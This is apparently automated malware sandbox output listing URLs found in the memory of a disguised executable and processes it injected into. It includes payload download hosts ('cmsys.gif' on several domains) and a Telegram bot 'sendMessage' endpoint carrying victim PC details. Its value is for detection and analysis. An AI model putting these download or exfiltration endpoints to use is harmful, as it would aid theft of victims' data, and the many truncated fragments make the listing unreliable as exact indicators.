Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gif
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gif)a
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gif7a
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gif:a
Source: explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gifM
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gifj
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.googlecode.com/files/cmsys.gifp
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.t35.com/cmsys.gif
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.t35.com/cmsys.gifq.net/cmsys.gifetVf
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.t35.com/cmsys.gifr
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.t35.com/cmsys.giftXf
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gif
Source: explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gif#x
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gif5.com/cmsys.gif
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gif?x
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gifEx
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gifetVf
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192186591.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gifr
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.gifrk
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.net/cmsys.giftXf
Source: explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd01.zxq.netst.exe
Source: explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif)a
Source: explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif3
Source: explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif7a
Source: explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gif:a
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gifM
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gifg
Source: explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gifj
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd02.googlecode.com/files/cmsys.gifp
Source: explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif
Source: explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif&
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif)a
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif7a
Source: explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gif:a
Source: explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gifg
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vccmd03.googlecode.com/files/cmsys.gifj
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:849224%0D%0ADate%20a
Source: explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2177725240.0000000000725000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://api.w.org/
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlBjq
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192222397.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=DM
Source: explorer.exe, 00000004.00000003.2448655083.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2556013660.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.00000000006F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192097102.000000000071E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325214501.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://news.google.com/publications/CAAqBwgKMJSRswswoazKAw?hl=en-US&gl=US&ceid=US%3Aen
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: zapytanie ofertowe st-2024-s315 cpa9170385.exe , 00000001.00000002.2058258965.0000000003B00000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4483583747.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.72
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E0F000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002DCA000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002E35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/173.254.250.72$
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325437743.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325346008.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://schema.org
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RegSvcs.exe, 0000000A.00000002.4489526374.0000000003D71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: RegSvcs.exe, 0000000A.00000002.4486046867.0000000002F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lBjq
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325504423.0000000003BA3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658846234.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325346008.0000000003B88000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/#logo
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/#organization
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/#website
Source: explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/?p=187
Source: explorer.exe, 00000004.00000003.2325465264.0000000003B89000.00000004.00000020.00020000.00000000.sdmp, what-happened-to-the-old-zxq-website[1].htm.4.dr, cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/?s=
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/about-us/
Source: cmsys.cmn.4.dr	String found in binary or memory: https://zxq.net/choosing-the-right-commercial-cleaning-company-for-your-business-needs/
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmd01.zxq.net/cmsys.giftXf
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gif
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifB
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448601457.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325265874.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448550627.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gife
Source: explorer.exe, 00000004.00000003.2658511629.000000000072A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gife(Y
Source: explorer.exe, 00000004.00000003.2555885761.0000000000725000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2555958854.0000000000729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gife0
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifeJ
Source: explorer.exe, 00000004.00000003.2556013660.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2448655083.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2192268321.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2325385308.0000000000709000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2658748665.0000000000709000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://zxq.net/cmsys.gifeZ
